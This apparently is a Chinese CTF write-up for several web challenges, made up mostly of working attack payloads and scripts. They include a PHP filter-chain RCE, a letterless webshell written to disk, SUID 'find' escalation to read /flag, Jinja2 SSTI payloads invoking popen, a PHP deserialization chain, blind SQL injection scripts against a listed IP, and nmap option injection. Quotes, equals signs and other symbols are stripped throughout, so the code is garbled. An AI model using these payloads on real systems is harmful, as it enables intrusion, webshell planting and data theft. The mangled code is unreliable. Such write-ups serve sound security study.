#可以读取到的文件
file_to_use /var/hint
#要执行的命令
command cat /ffffffllllag#两个分号避开了最终 base64 编码中的斜杠
#?$_GET[0];;?
base64_payload PD89YCRfR0VUWzBdYDs7Pz4conversions {R: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2,B: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2,C: convert.iconv.UTF8.CSISO2022KR,8: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2,9: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB,f: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213,s: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61,z: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS,U: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932,P: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213,V: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5,0: convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2,Y: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2,W: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2,d: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2,D: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2,7: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2,4: convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2
}# generate some garbage base64
filters convert.iconv.UTF8.CSISO2022KR|
filters convert.base64-encode|
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters convert.iconv.UTF8.UTF7|for c in base64_payload[::-1]:filters conversions[c] |# decode and reencode to get rid of everything that isnt valid base64filters convert.base64-decode|filters convert.base64-encode|# get rid of equal signsfilters convert.iconv.UTF8.UTF7|filters convert.base64-decodefinal_payload fphp://filter/{filters}/resource{file_to_use}r requests.get(url, params{0: command,action: xxx,file: final_payload
})print(r.text)SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!###}EzRce【】
直接给了源码waf暂时未知。 手测了以下貌似过滤单个字符和数字那就无字母RCE。
查看phpinfo()
?data(%0f%08%0f%09%0e%06%0f^%7f%60%7f%60%60%60%60)();disable_functions有点多的。 同时也有目录限制。 读取waf文件highlight_file(waf.php)
(%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05^%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60)(%08%01%06%01%0f%08%0f^%7f%60%60%2f%7f%60%7f);可用的单个字符就a、e、l、v。
assert被禁用了异或直接eval($_POST[1])无法生效$_POST[1]会被当成字符串处理。 我们参考P神的payload一些不包含数字和字母的webshell | 离别歌 (leavesongs.com) 简单修改一下
?php
$___.(%0D^]).(%2F^).(%0E^]).(%09^]); // $___POST;
$___$$__;
eval($___[_]); // eval($_POST[_]);?data$___.(%0D^]).(%2F^).(%0E^]).(%09^]);$___$$__;eval($___[_]);执行成功。 写到文件。
GET:?data$___.(%0D^]).(%2F^).(%0E^]).(%09^]);$___$$__;eval($___[_]);
POST:_file_put_contents(17.php,?eval($_POST[1]);?);蚁剑连接。记得https改成http【】 限制了/flag的读取权限。 可以利用find提权。
find / -perm -us -type f 2/dev/null //查看具有suid权限的命令
find / -perm -4000 2/dev/null //这个也可以语法find [path…] [expression] path为查找路径.为当前路径/为根目录 expression即为参数 -name 按文件名查找文件 -perm 按照文件权限来查找文件40002000,1000为分别表示SUID,SGID,SBIT如777为普通文件的最高权限7000为特殊文件的最高权限 -user 按照文件属主来查找 -size n 文件大小是n个单位 -type d目录 f文件 c字符设备文件 b块设备文件 -atime n time表示日期时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print 将匹配的文件输出到标准输出 -exec find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;注意{ }和\之间的空格。 find提权获取flag
find /tmp -exec cat /flag \;
find which find -exec cat /flag \;
find /etc/passwd -exec cat /flag \;参考文章 find基础命令与提权教程_find提权-CSDN博客 find 命令提权 - 内向是一种性格 - 博客园 (cnblogs.com) SYC{ThE_RCe_is_S0_Eas1ly_DD!}ezpython【】
题目描述can you pollute me?
附件直接给了源码一眼python原型链污染。
import json
import osfrom waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp Flask(__name__)
app.secret_keyjjjjggggggreekchallenge202333333
class User():def __init__(self):self.usernameself.passwordself.isvipFalseclass hhh(User):def __init__(self):self.usernameself.passwordregistered_users[]
app.route(/)
def hello_world(): # put applications code herereturn render_template(welcome.html)app.route(/play)
def play():usernamesession.get(username)if username:return render_template(index.html,nameusername)else:return redirect(url_for(login))app.route(/login,methods[GET,POST])
def login():if request.method POST:usernamerequest.form.get(username)passwordrequest.form.get(password)user next((user for user in registered_users if user.username username and user.password password), None)if user:session[username] user.usernamesession[password]user.passwordreturn redirect(url_for(play))else:return Invalid loginreturn redirect(url_for(play))return render_template(login.html)app.route(/register,methods[GET,POST])
def register():if request.method POST:try:if waf(request.data):return fuck payload!Hacker!!!datajson.loads(request.data)if username not in data or password not in data:return 连用户名密码都没有你注册啥呢userhhh()merge(data,user)registered_users.append(user)except Exception as e:return 泰酷辣,没有注册成功捏return redirect(url_for(login))else:return render_template(register.html)app.route(/flag,methods[GET])
def flag():user next((user for user in registered_users if user.username session[username] and user.password session[password]), None)if user:if user.isvip:datarequest.args.get(num)if data:if 0 not in data and data ! 123456789 and int(data) 123456789 and len(data) 10:flag os.environ.get(geek_flag)return render_template(flag.html,flagflag)else:return 你的数字不对哦!else:return I need a num!!!else:return render_template_string(这种神功你不充VIP也想学?pimg src{{url_for(\static\,filename\weixin.png\)}}要不v我50,我送你一个VIP吧,嘻嘻/p)else:return 先登录去def merge(src, dst):for k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ __main__:app.run(host0.0.0.0,port8888)简单看了一下在/register路由注册时进行污染使得User()类的isvipTrue。
访问/register路由注册按钮点不动。 源码给了hint 那就直接传参注册 解释一下如何污染
__class__属性换成了user对象的所属的类(hhh)
__base__属性换成了hhh类的所属的直接父类(User) 参考文章主要是最后一篇 【CTF】Python原型链污染_Luminous_song的博客-CSDN博客 Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com) Python原型链污染_python 原型链_Elitewa的博客-CSDN博客 注册时候污染一波过滤了isvip使用Unicode绕过。
{username:222,password:111,__class__ : {__base__ : {\u0069\u0073\u0076\u0069\u0070: True}}}访问/flag路由num使用Non-ASCII Identifies绕过。
?num12345678源码里面获得flag。 ez_php【】
开题点击链接后跳转到源码界面 好长
?php
header(Content-type:text/html;charsetutf-8);
error_reporting(0);
show_source(__FILE__);
include(key.php);
include(waf.php);class Me {public $qwe;public $bro;public $secret;public function __wakeup() {echo(进来啦br);$characters abcdefghijklmnopqrstuvwxyz0123456789;$randomString substr(str_shuffle($characters), 0, 6);$this-secret$randomString;if($this-bro$this-secret){$bb $this-qwe; return $bb();}else{echo(错了哥们,再试试吧br);}}}class her{private $hername;private $key;public $asd;public function __invoke() {echo(好累好想睡一觉啊br);serialize($this-asd);}public function find() {echo(你能找到加密用的key和她的名字吗qwqbr);if (encode($this-hername,$this-key) vxvx) {echo(解密成功br);$file$_GET[file];if (isset($file) (file_get_contents($file,r) loveyou)){echo(快点的急急急br);echo new $_POST[ctf]($_GET[fun]);}else{echo(真的只差一步了br);}}else{echo(兄弟怎么搞的br);}}
}class important{public $power;public function __sleep() {echo(睡饱了接着找br);return $this-power-seeyou;}
}class useless {private $seeyou;public $QW;public $YXX;public function __construct($seeyou) {$this-seeyou $seeyou;}public function __destruct() {$characters 0123456789;$random substr(str_shuffle($characters), 0, 6);if (!preg_match(/key\.php\/*$/i, $_SERVER[REQUEST_URI])){if((strlen($this-QW))80 strlen($this-YXX)80){$bool!is_array($this-QW)!is_array($this-YXX)(md5($this-QW) md5($this-YXX)) ($this-QW ! $this-YXX) and $randomnewbee;if($bool){echo(快拿到我的小秘密了br);$a isset($_GET[a])? $_GET[a]: ;if(!preg_match(/HTTP/i, $a)){echo (basename($_SERVER[$a]));echo (br);if(basename($_SERVER[$a])key.php){echo(找到了但好像不能直接使用怎么办我好想她br);$file key.php;readfile($file);}}else{echo(你别这样她会生气的┭┮﹏┭┮);}}}else{echo(就这点能耐怎么帮我找到她(╥╯^╰╥)br);}}}public function __get($good) {echo you are good,你快找到我爱的那个她了br;$zhui $this-$good; $zhui[$good](); }
}if (isset($_GET[user])) {$user $_GET[user];if (!preg_match(/^[Oa]:[\d]/i, $user)) {unserialize($user);}else {echo(不是吧第一层都绕不过去br);}
}
else {echo(快帮我找找她br);
}
? 快帮我找找她先给链子
Me::__wakeup()-her::__invoke()-important::__sleep()-useless::__get($good)-her::find()-useless::__destruct()我们实现RCE是在her::find()方法中但是首先得先打一遍反序列化在useless::__destruct()获取密钥等信息。
所以我们需要打两遍反序列化链子也可以是
Me::__wakeup()-her::__invoke()-important::__sleep()-useless::__get($good)-her::find()-useless::__destruct()Me::__wakeup()-her::__invoke()-important::__sleep()-useless::__get($good)-her::find()然后我们根据类方法一个一个分析绕过。 1、序列化字符串绕过!preg_match(/^[Oa]:[\d]/i, $user)
卡了好久只能说newbing牛逼几种反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)
// C:16:SplObjectStorage:54:{x:i:1;O:1:c:1:{s:4:code;s:6:whoami;},N;;m:a:0:{}}
$obj new SplObjectStorage();
$obj-attach(new c());
echo serialize($obj);
echo br;// C:8:SplStack:41:{i:6;:O:1:c:1:{s:4:code;s:6:whoami;}}
$obj new SplStack();
$obj-push(new c());
echo serialize($obj);
echo br;// C:8:SplQueue:41:{i:4;:O:1:c:1:{s:4:code;s:6:whoami;}}
$obj new SplQueue();
$obj-enqueue(new c());
echo serialize($obj);
echo br;// C:19:SplDoublyLinkedList:41:{i:0;:O:1:c:1:{s:4:code;s:6:whoami;}}
$obj new SplDoublyLinkedList();
$obj-push(new c());
echo serialize($obj);2、Me::__wakeup()处变量引用绕过随机字符串
$a-bro$a-secret;3、实现useless::__get($good)-her::find()跳转
此步实现$zhui[$good]();
即seeyou[seeyou]();
即array(new her,find)();数组执行类方法$arr1 array(new her,find);
$arr2 array(seeyou$arr1);
$a-qwe-asd-power new useless($arr2);4、useless::__destruct()处的md5判断直接摘抄笔记了。
如果遇到if ((string)$_POST[a] ! (string)$_POST[b] md5($_POST[a]) md5($_POST[b]))可用
a%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2但是由于长度限制在80以内故需要url解码一次。
5、useless::__destruct()的随机数判断$randomnewbee不用管
$bool!is_array($this-QW)!is_array($this-YXX)(md5($this-QW) md5($this-YXX)) ($this-QW ! $this-YXX) and $randomnewbee;因为逻辑是and
优先级可以看作【(】$bool!is_array($this-QW)!is_array($this-YXX)(md5($this-QW) md5($this-YXX)) ($this-QW ! $this-YXX) 【)】 and $randomnewbee;6、useless::__destruct()的文件名绕过限制
用任何一个不在URL显示并且不影响请求包含义的http头绕过就行目前找到的只有Content-Type有HTTP限制不能用自己的和其他一些请求头。
?aCONTENT_TYPEContent-Type:key.php7、坑点之无法生成序列化链子。
分析输出只有在important::__sleep()方法后的echo才会输出猜测这里执行了这个方法导致序列化字符串无法生成。。。
经过尝试sleep改成construct就没问题了 第一次EXP
?php//一模一样CV下来
//...
//...
//...
$anew Me();
$a-bro$a-secret;
$a-qwe new her();
$a-qwe-asd new important();
//useless::__get($good)-her::find()
$arr1 array(new her,find);
$arr2 array(seeyou$arr1);
$a-qwe-asd-power new useless($arr2);//md5
$a-qwe-asd-power-QWurldecode(%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2);
$a-qwe-asd-power-YXXurldecode(%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2);$obj new SplObjectStorage();
$obj-attach($a);
echo urlencode(serialize($obj));源码中发现一堆编码
/* 【xxx】 */猜测是base64转图片还真是。hernamemomokey9 第二次EXP
?php//一模一样CV下来
//her类中属性的private换成public
//...
//...
//...$anew Me();
$a-bro$a-secret;
$a-qwe new her();
$a-qwe-hernamemomo;
$a-qwe-key9;$a-qwe-asd new important();
//useless::__get($good)-her::find()
$arr1 array($a-qwe,find);
$arr2 array(seeyou$arr1);
$a-qwe-asd-power new useless($arr2);$obj new SplObjectStorage();
$obj-attach($a);
echo urlencode(serialize($obj));
剩下的直接用原生类执行命令。绕过file_get_contents($file,r) loveyou可用data伪协议。
payloadDirectoryIterator找flag文件名
GET:?user【序列化字符串】filedata://text/plain,loveyoufunglob://flag*POST:ctfDirectoryIteratorSplFileObject读取文件
GET:?user【序列化字符串】filedata://text/plain,loveyoufunphp://filter/convert.base64-encode/resourceflag_my_baby.phpPOST:ctfSplFileObjectklf_2【】
开题。 看源码 起手robots.txt 访问路由 继续看源码谢谢三叶草给了我无比强大的信息搜集意识。 OK那就/secr3ttt路由GET传参klf有反应。猜测是SSTI 暂且当作是jinja2模板fuzz一波。
528长度的都是被过滤的md真狠啊。 此外还过滤了request、self、~、app、open、read是我字典不好
nnd直接上过滤器
简单测测过滤器确实可行之后应该还会有过滤。
{% set org ({ }|select()|string()) %}{{org}}过滤器骚操作如下由于~被过滤了所以只能用,和|join进行拼接。
{% set podict(po1,p2)|join()%} #popop
{% set a(()|select|string|list)|attr(po)(24)%} #_
{% set oodict(oa,sa)|join()%} #os
{% set pdict(poa,pena)|join()%} #popen
{% set chdict(cha,ra)|join()%} #chr
{% set in(a,a,dict(ina,ita)|join,a,a)|join()%} #__init__
{% set gl(a,a,dict(globa,alsq)|join,a,a)|join()%} #__globals__
{% set ge(a,a,dict(getia,tema)|join,a,a)|join()%} #__getitem__
{% set bu(a,a,dict(buia,ltinsa)|join,a,a)|join()%} #__builtins__
{% set im(a,a,dict(impa,orta)|join,a,a)|join()%} #__import__
{% set cl(a,a,dict(claa,ssa)|join,a,a)|join()%} #__class__
{% set su(a,a,dict(subclaa,ssesa)|join,a,a)|join()%} #__subclasses__
{% set ba(a,a,dict(baa,sea)|join,a,a)|join()%} #__base__
{% set xjay17|attr(cl)|attr(ba)|attr(su)()%} #jay17.__class__.__base__.__subclasses__()
{% set chhr()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%} #利用os类提取chr函数用于字符串拼接
{% set pp()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%} #利用os类提取popen函数用于字符串拼接
{% set redict(rea,ada)|join()%} #read
{% set endict(ena,va)|join()%} #env
{% set fldict(fla,aga)|join()%} #flag
{% set tadict(taa,ca)|join()%} #ta
{% set kgxg(chhr(3),chhr(4))|join()%} #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf(ta,kgxg,fl)|join()%} #tac /flag
{% set lldict(la,sa)|join()%} #ls
{% set lll(ll,kgxg)|join()%} #ls /
{% set la(ll,kgxg,dict(apa,pa)|join)|join()%} #ls /app
{% set hadict(haa,hahahaa)|join()%} #hahahaha
{% set th(ta,chhr(3),ha)|join()%} #tac hahahaha
{% set ym(dict(caa,ta)|join,chhr(3),dict(apa,pa)|join,chhr(4),dict(pa,ya)|join)|join()%} #cat app.py
{% set six(ta,kgxg,dict(apa,pa)|join,chhr(4),dict(fl4gfl4a,gfl4ga)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set cmdpp(six)|attr(re)()%} #执行命令{{.__class__.__base__.__subclasses__()[117].__init__.__globals__[popen](ls /).read()}}payload:
/secr3ttt?klf{% set podict(po1,p2)|join()%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set oodict(oa,sa)|join()%}
{% set pdict(poa,pena)|join()%}
{% set chdict(cha,ra)|join()%}
{% set in(a,a,dict(ina,ita)|join,a,a)|join()%}
{% set gl(a,a,dict(globa,alsq)|join,a,a)|join()%}
{% set ge(a,a,dict(getia,tema)|join,a,a)|join()%}
{% set bu(a,a,dict(buia,ltinsa)|join,a,a)|join()%}
{% set im(a,a,dict(impa,orta)|join,a,a)|join()%}
{% set cl(a,a,dict(claa,ssa)|join,a,a)|join()%}
{% set su(a,a,dict(subclaa,ssesa)|join,a,a)|join()%}
{% set ba(a,a,dict(baa,sea)|join,a,a)|join()%}
{% set xjay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set redict(rea,ada)|join()%}
{% set endict(ena,va)|join()%}
{% set fldict(fla,aga)|join()%}
{% set tadict(taa,ca)|join()%}
{% set kgxg(chhr(3),chhr(4))|join()%}
{% set tf(ta,kgxg,fl)|join()%}
{% set lldict(la,sa)|join()%}
{% set lll(ll,kgxg)|join()%}
{% set la(ll,kgxg,dict(apa,pa)|join)|join()%}
{% set hadict(haa,hahahaa)|join()%}
{% set th(ta,chhr(3),ha)|join()%}
{% set ym(dict(caa,ta)|join,chhr(3),dict(apa,pa)|join,chhr(4),dict(pa,ya)|join)|join()%}
{% set six(ta,kgxg,dict(apa,pa)|join,chhr(4),dict(fl4gfl4a,gfl4ga)|join)|join()%}
{% set cmdpp(six)|attr(re)()%}
{{cmd}}源码如下
from flask import Flask, request, render_template, render_template_string,send_from_directory
import re
import osapp Flask(__name__)app.route(/, methods[GET, POST])
def index():return render_template(index.html)app.route(/secr3ttt, methods[GET, POST])
def secr3t():klf request.args.get(klf, )template fhtmlbodyh1别找了这次你肯定是klf/h1 /bodyimg srchttps://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/0071088CAC91D2C42C4D31053A7E8D2B731D69.jpg altgh1%s/h1 /html!--klf?--!-- 别想要flagklf --bl [_, \\, \, , request, , class, init, arg, config, app, self, cd, chr,request, url, builtins, globals, base, pop, import, popen, getitem, subclasses, /,flashed, os, open, read, count, *, 38, 124, 47, 59, 99, 100, cat, ~,:, not, 0, -, ord, 37, 94, 96, [,],index,length]#43, 45,for i in bl:if i in klf:return render_template(klf.html)a render_template_string(template % klf)if { in a:return a render_template(win.html)return aapp.route(/robots.txt, methods[GET])
def robots():return send_from_directory(os.path.join(app.root_path, static),robots.txt, mimetypetext/plain)if __name__ __main__:app.run(host0.0.0.0, port7889, debugFalse)ez_sql【】
开局是一个输入框需要我们输入id 输入后回显:
简单测测【闭合是单引号】猜测报错会输出你搁这儿干嘛啊
id1 正常
id1 回显你搁这儿干嘛啊
id1 正常
id1 回显你搁这儿干嘛啊
id1 正常
id1 回显你搁这儿干嘛啊
id1 正常
id1 回显你搁这儿干嘛啊闭合用and 1 1结尾
idaaa/**/||/**/a/**/like/**/a 成功回显了id1的内容
idaaa/**/||/**/a/**/like/**/b 回显 别翻啦这么多心灵鸡汤都du不了你吗重点来了idaaa/**/||/**/a/**/like/**/a 成功回显了id1的内容为什么不是回显idaaa的内容呢说明这个式子在后端会被处理成逻辑值1而不是aaa。
这说明了什么后端的语句大体是select * from table where id(xxx)。
那就是以)闭合验证payloadid4)#aaaa 有waf我们拿burp打一波fuzz过滤如下 过滤字符替换如下
被过滤字符替代字符空格/**/or||likedatabase()schema()information_schema【传送门1】 奇怪的是联合查询判断不出回显位。。。
payload形如id1)/**/union/**/select/**/1,2,3#
没办法只能用盲注了。
我们正常布尔盲注的payload是1\) and if(ord(mid(database(),{},1)){},1,0)--.format(pos, mid_num)或者-1\ or 0^ (ascii(substr((SeleCt grOUp_conCAt(schema_name) fROm information_schema.schemata),{0},1)){1})-- .format(i, mid)思想都是获取我们需要的数据无回显截取其中的一个字符通过爆破和比较得到截取的字符是什么。
information_schema肯定是用不了了database()被禁用了我们用schema()替换一样的效果。 ascii、ord等函数也被禁用了我们可以不用ASCII码直接拿字符比较。 poyload形如1) and (select (select schema() limit 1,1) like binary 【字符】%)#
BINARY 是一个在 MySQL 中用于进行二进制比较的关键字。在这个上下文中它将作用于 LIKE 操作符用于指示对比过程中区分大小写。
得到初步脚本可以盲注出当前数据库名字是articles
import requestspayload 1\) and (select (select schema() limit 1,1) like binary \{}%\)#
#payload 1\) and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \{}%\)#
url http://47.108.56.168:1111/index.php#dict是爆破的字典去掉了%_
dict abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-[{]};:,./? ~!#$^*()\x00result
while True:data for i in range(len(dict)):data {id: payload.format(result dict[int(i)]).replace( , /**/)}response requests.post(urlurl, datadata)if Persistence in response.text:result dict[int(i)]print(result)breakif dict[int(i)] \x00: #%00作为结束符号print(盲注结束结果是result)exit(0)传送门1
但是articles显然不是存放flag的数据库还是绕不过information_schema我们找找替换。
还记得当年钱塘江畔的无列名注入吗当时我的笔记是这样的 InnoDb引擎 从MYSQL5.5.8开始InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中inndb增加了innodb_index_stats和innodb_table_stats两张表mysql.innodb_table_stats这两张表中都存储了数据库和其数据表的信息但是没有存储列名。高版本的 mysql 中还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。 sys数据库 在5.7以上的MYSQL中新增了sys数据库该库的基础数据来自information_schema和performance_chema其本身不存储数据。可以通过其中的schema_auto_increment_columnssys.schema_auto_increment_columns来获取表名。 这么说来数据库中初始的存储数据库名字的表不止一个哦~
细细翻翻本地数据库中sys库下的表。 sys库下的表但凡是schema_打头的基本上都存了所有数据库名字 我们以sys.schema_auto_increment_columns这张表为例嘶没注出结果换一张schema_table_statistics这个有结果了而且这张表里面也存储了对应数据库的所有表名。 获取数据库名脚本改一下limit可以看同一列另外的数据哦
import requests#payload 1\) and (select (select schema() limit 1,1) like binary \{}%\)#
payload 1\) and (select (select table_schema from sys.schema_table_statistics limit 1,1) like binary \{}%\)#url http://47.108.56.168:1111/index.php#dict是爆破的字典去掉了%_要不然会出现点小问题
dict abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-[{]};:,./? ~!#$^*()\x00result
while True:data for i in range(len(dict)):data {id: payload.format(result dict[int(i)]).replace( , /**/)}response requests.post(urlurl, datadata)if Persistence in response.text:result dict[int(i)]print(result)breakif dict[int(i)] \x00: #%00作为结束符号print(盲注结束结果是result)exit(0)得到库ctf。 简单修改payload得到表flll444aaggg9应该是ctf里面的不确定的情况下可以回到上一个payload看看limit n,1两个payload中n相等那就是库和表对应。 最后payload得到flag
payload 1\) and (select (select * from ctf.flll444aaggg9 limit 2,1) like binary \{}%\)#关于联合注入注不出字段位的问题。出题人说 手注确实应该注不出来好像五十多还是六十多字段 可以通过groupby判断 我本意是过滤了or然后用groupby去判断字段数但是看师傅们都跳过了这个步骤 hhhhhhhhh
klf_3
题目描述好好好这都给你们做出来了这次我拜托了pursue0h帮我收集了你们前几次的payload这次绝对不可能让你们做出来你们绝对是klf
开题 信息搜集路由/secr3ttt 我klf_2的payload直接可以继续用嘶那应该是没收集到我的payload吧。
payload
/secr3ttt?klf{% set podict(po1,p2)|join()%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set oodict(oa,sa)|join()%}
{% set pdict(poa,pena)|join()%}
{% set chdict(cha,ra)|join()%}
{% set in(a,a,dict(ina,ita)|join,a,a)|join()%}
{% set gl(a,a,dict(globa,alsq)|join,a,a)|join()%}
{% set ge(a,a,dict(getia,tema)|join,a,a)|join()%}
{% set bu(a,a,dict(buia,ltinsa)|join,a,a)|join()%}
{% set im(a,a,dict(impa,orta)|join,a,a)|join()%}
{% set cl(a,a,dict(claa,ssa)|join,a,a)|join()%}
{% set su(a,a,dict(subclaa,ssesa)|join,a,a)|join()%}
{% set ba(a,a,dict(baa,sea)|join,a,a)|join()%}
{% set xjay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set redict(rea,ada)|join()%}
{% set endict(ena,va)|join()%}
{% set fldict(fla,aga)|join()%}
{% set tadict(taa,ca)|join()%}
{% set kgxg(chhr(3),chhr(4))|join()%}
{% set tf(ta,kgxg,fl)|join()%}
{% set lldict(la,sa)|join()%}
{% set lll(ll,kgxg)|join()%}
{% set la(ll,kgxg,dict(apa,pa)|join)|join()%}
{% set hadict(haa,hahahaa)|join()%}
{% set th(ta,chhr(3),ha)|join()%}
{% set ym(dict(caa,ta)|join,chhr(3),dict(apa,pa)|join,chhr(4),dict(pa,ya)|join)|join()%}
{% set six(ta,kgxg,dict(apa,pa)|join,chhr(4),dict(fl4gfl4a,gfl4ga)|join)|join()%}
{% set cmdpp(six)|attr(re)()%}
{{cmd}}scan_tool【】***
题目描述nmap也太好用了不是吧你还不会用吗
参考文章
[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客
直接过滤了无法写只能带出文件了。同时还过滤了-iL、-oN等参数。
这题应该也用了PHP中的escapeshellarg()函数在asisctf-2023 hello中遇到过会剔除不可见字符。这个特性可以用来绕过对-iL、-oN等参数的过滤。
Nmap的相关参数选项 利用-iL参数将文件外带利用-oG参数将结果写入当前目录的文件 payload如下
ip -i%faL /flag -o%faN 1.txt Akane!
题目描述最适合梅菲斯特的一题
开题直接给了源码无利用点的反序列化。 无利用解读一下代码。考点就是绕过__weakeupglob://协议爆破文件名。
glob:// — 查找匹配的文件路径模式 也可以说返回当前路径下所有文件的文件名
支持通配符如 glob:///var/www/html/*.php 脚本如下
import base64
import requests
import timeurl https://hg0vl3j25gw55p3ktv9oed5md.node.game.sycsec.com/?tuizi
strrr
#glob:///var/www/html/The*长度25
count26
while True:for i in ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789_-[{]};:\,/!#$%^() .?\x00:payload O:7:Hoshino:2:{s:4:Ruby;O:4:Idol:1:{s:5:Akane;s:str(count):glob:///var/www/html/The strrri *;}s:19: Hoshino Aquamarine;N;res_url url base64.b64encode(payload.encode(utf-8)).decode(utf-8)resp requests.get(urlres_url)print(payload)if Kurokawa Akane in resp.text:strrrstrrricountcount1print(strrr)breakif i\x00:exit(结束)EZ_Smuggling【】
题目描述这是一个简单的H2转H1的小网站站长认为他很安全没有人能在他的网站走私任何东西。
